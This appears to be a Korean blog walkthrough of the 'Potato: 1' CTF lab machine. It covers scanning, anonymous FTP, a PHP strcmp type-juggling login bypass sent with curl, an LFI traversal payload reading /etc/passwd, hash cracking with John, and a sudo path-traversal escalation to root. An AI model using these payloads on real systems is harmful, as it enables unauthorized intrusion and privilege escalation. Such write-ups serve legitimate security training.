CTF

[CTF potato] CTF Potato 플래그 찾기 및 과정

palantirops 2026. 5. 15. 17:36

왼쪽 Potato로 진행합니다!


Potato: 1 CTF 워크스루

1단계. 호스트 탐색

nmap -sn 172.16.11.0/24

-sn 옵션은 포트 스캔 없이 네트워크 대역에서 살아있는 호스트만 빠르게 찾는 ping scan이다. 전체 대역을 훑어서 타겟 머신의 IP를 특정하는 것이 첫 번째 목표이며, 결과적으로 172.16.11.221이 Oracle VirtualBox NIC임을 확인하여 Potato 머신으로 특정했다.

 

 

-> 파이어폭스 172.16.11.221로 접속해본다!

해당 페이지가 나온다.


2단계. 포트 및 서비스 스캔

nmap -sV -sC -p- 172.16.11.221

-sV는 버전 탐지, -sC는 기본 스크립트 실행, -p-는 전체 포트(1~65535) 스캔이다. 결과로 세 가지 서비스를 확인했다.

포트 서비스 의미

22/tcp OpenSSH 8.2p1 SSH 접근 가능
80/tcp Apache 2.4.41 웹 서버 존재
2112/tcp ProFTPD 비표준 포트 FTP

2112번 포트의 FTP는 기본 포트(21)가 아니므로 -p- 전체 스캔 없이는 발견하기 어렵다. 이후 공격의 핵심 진입점이 된다.

----> 여기가 keypoint!


3단계. 웹 디렉터리 열거

gobuster dir -u http://172.16.11.221 \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

웹 서버(80포트)에 숨겨진 경로를 워드리스트 기반으로 브루트포싱한다. 발견된 경로는 다음과 같다.

  • /admin (301 redirect) → 로그인 페이지 존재
  • /potato (301 redirect)
  • /server-status (403 forbidden)

/admin 경로에서 로그인 폼을 발견했고, 이후 공격 방향을 여기로 집중했다.

하지만 아이디와 비번을 모른다!


4단계. SSH 브루트포스 시도 (실패)

sudo nmap -vv --script=ssh-brute.nse -p 22 172.16.11.221

SSH 크리덴셜을 워드리스트로 시도했으나 98%까지 진행해도 유효한 계정을 찾지 못했다. 이 단계는 실패했으며, 다른 공격 벡터를 찾아야 함을 의미한다.

---> 해당 아이디와 비번을 워드리스트로 다 찾아내서 적합한 아이디와 비번을 찾아내는건데, 다른 사람들이 한거 보고 했지만 성공률이 조금씩 떨어지고 시간이 오래 걸려서 포기했다..


5단계. FTP 익명 로그인 및 소스코드 획득

ftp 172.16.11.221 2112

 

ProFTPD는 설정에 따라 anonymous 로그인을 허용하는 경우가 있다. 패스워드 없이 접속을 시도했더니 성공했다.

# FTP 접속 후
Name: anonymous
Password: (엔터)

ftp> ls -al
ftp> get index.php.bak
ftp> get welcome.msg
ftp> bye

ftp로 접속 성공!! 가장 중요해보이는 두 파일이 보인다?

 

cat index.php.bak

 

.bak 확장자는 백업 파일로, 웹 서버에서는 실행되지 않고 소스코드가 그대로 노출된다. cat index.php.bak으로 내용을 확인하면 로그인 로직이 드러난다.

$pass = "potato"; // Change this password regularly

if (strcmp($_POST['username'], "admin") == 0 
    && strcmp($_POST['password'], $pass) == 0) {
    // 로그인 성공
    setcookie('pass', $pass, time() + 365*24*3600);
}

 

 

소스코드에서 두 가지를 알 수 있다. 첫째로 username은 admin으로 하드코딩되어 있다. 둘째로 password는 strcmp()로 비교하며 주석에 "정기적으로 바꾼다"고 명시되어 있어, 실제 서버의 비밀번호는 potato에서 변경된 상태임을 알 수 있다.

실제로 admin / potato로 로그인을 시도하면 실패한다. 유저의 아이디만 제대로 알 수 있다! 그건 admin 그리고 form의 경로이다. index.php?login=1 이부분으로 다시 접속해보자 즉!

주소를 잘봐보세요


6단계. /admin 하위 경로 추가 열거

gobuster dir -u http://172.16.11.221/admin \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x .php,.txt

-x 옵션으로 확장자를 지정해 PHP 파일까지 탐색한다. 발견된 경로는 다음과 같다.

  • /admin/index.php (200)
  • /admin/logs (301)
  • /admin/dashboard.php (302 → index.php로 리다이렉트)

 

/admin/logs에 접속하면 패스워드가 변경된 이력이 로그로 남아있어, 현재 비밀번호는 알 수 없는 상태임을 재확인했다. 따라서 비밀번호를 알지 못해도 로그인을 우회하는 방법이 필요하다.


7단계. PHP Type Juggling으로 로그인 우회

소스코드의 핵심 취약점은 strcmp()의 반환값을 == 0으로 느슨하게 비교한다는 점이다.

취약점 원리:

PHP에서 strcmp()에 문자열 대신 배열을 전달하면 NULL을 반환한다. 그리고 PHP의 느슨한 비교(==)에서 NULL == 0은 true로 평가된다.

strcmp([], "potato") → NULL
NULL == 0            → true  ← 로그인 우회 성공!

이를 이용해 password 필드를 배열로 전송한다.

curl -X POST "http://172.16.11.221/admin/index.php?login=1" \
  -d "username=admin&password[]=" \
  -v

password[]=는 PHP가 배열로 해석하도록 하는 문법이다. 응답 헤더에서 쿠키값을 획득한다.

Set-Cookie: pass=serdesfsefhijosefjtfgyuhjiosefdfthgyjh

이 쿠키를 이후 모든 요청에 사용하면 인증된 사용자로 접근할 수 있다.

set-cookie에 값이 있습니다! 중요한 정보입니다.

 

curl "http://172.16.11.221/admin/dashboard.php" \
--cookie "pass=serdesfsefhijosefjtfgyuhjiosefdfthgyjh"

 

 

file에 집중해주세요! file을 크랙하면 비밀번호로 갈 수 있습니다 왜냐?

 

위에 주소 http://ip/admin/logs/에 들어가보면 각 로그 3개의 파일이 있고 이 로그 파일에서 유저의 이름과 비번이 최근에 바뀌었다는걸 알 수 있으니 파일을 해독하면 플래그에 가까워진다는 의미입니다.


8단계. LFI(로컬 파일 인클루전)로 /etc/passwd 획득

대시보드에 접근해 메뉴를 탐색하면 ?page=log 파라미터와 file POST 파라미터로 로그 파일을 읽어오는 기능이 있다.

curl "http://172.16.11.221/admin/dashboard.php?page=log" \
  --cookie "pass=serdesfsefhijosefjtfgyuhjiosefdfthgyjh" \
  -d "file=../../../../../../../etc/passwd"

 

../를 반복해 웹루트를 벗어나 시스템 파일을 읽는 것이 LFI(Local File Inclusion) 공격이다. file 파라미터의 입력값을 검증하지 않아서 가능하다. /etc/passwd를 읽으면 시스템 계정 목록이 출력되며, 하단에 다음 항목을 발견할 수 있다.

 

webadmin:$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/:1001:1001:webadmin,,,:/home/webadmin:/bin/bash

맨 아래를 보세요! webadmin


9단계. 해시 크랙으로 SSH 접속

$1$로 시작하는 해시는 MD5crypt 방식이다. John the Ripper로 크랙한다.

echo 'webadmin:$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/' > pass.txt
john pass.txt

 

 

결과: 비밀번호 = dragon

ssh webadmin@172.16.11.221
# password: dragon

SSH 접속 성공 후 홈 디렉터리에서 user.txt 플래그를 획득한다.


10단계. 권한 상승 (PrivEsc)으로 root 획득

sudo -l

sudo -l은 현재 사용자가 sudo로 실행 가능한 명령어 목록을 보여준다. 결과는 다음과 같다.

 

(ALL) /bin/nice /notes/*

/notes/ 디렉터리 안의 모든 파일을 root 권한으로 실행할 수 있다는 의미다. 그런데 /notes/ 안에 직접 파일을 생성하거나 수정하는 권한이 없다.

우회 방법 — sudo 경로 트래버설:

/notes/* 와일드카드는 /notes/ 하위 파일만 허용하는 것처럼 보이지만, ../를 사용하면 다른 경로의 파일을 지정할 수 있다.

 

cd /tmp
echo "/bin/bash -p" > exploit.sh
chmod +x exploit.sh
sudo /bin/nice /notes/../tmp/exploit.sh

 

/notes/../tmp/exploit.sh는 결국 /tmp/exploit.sh와 같은 경로지만, sudo 규칙의 /notes/* 패턴을 통과한다. -p 옵션은 SUID 권한을 유지한 채 bash를 실행해 root 쉘을 얻는다.

whoami
# root

cat /root/root.txt

 

root.txt의 내용을 base64 디코딩하면 최종 플래그를 획득한다.

echo "bGljb3JuZSB1bmlxYW1iaXN0Z..." | base64 -d

 

 


공격 흐름 요약

네트워크 스캔 → 포트 스캔 → 웹 열거
→ FTP 익명 로그인 → 소스코드 획득
→ PHP Type Juggling 로그인 우회
→ LFI로 /etc/passwd 획득
→ MD5 해시 크랙 → SSH 접속 (user.txt)
→ sudo 경로 트래버설 → root 쉘 (root.txt)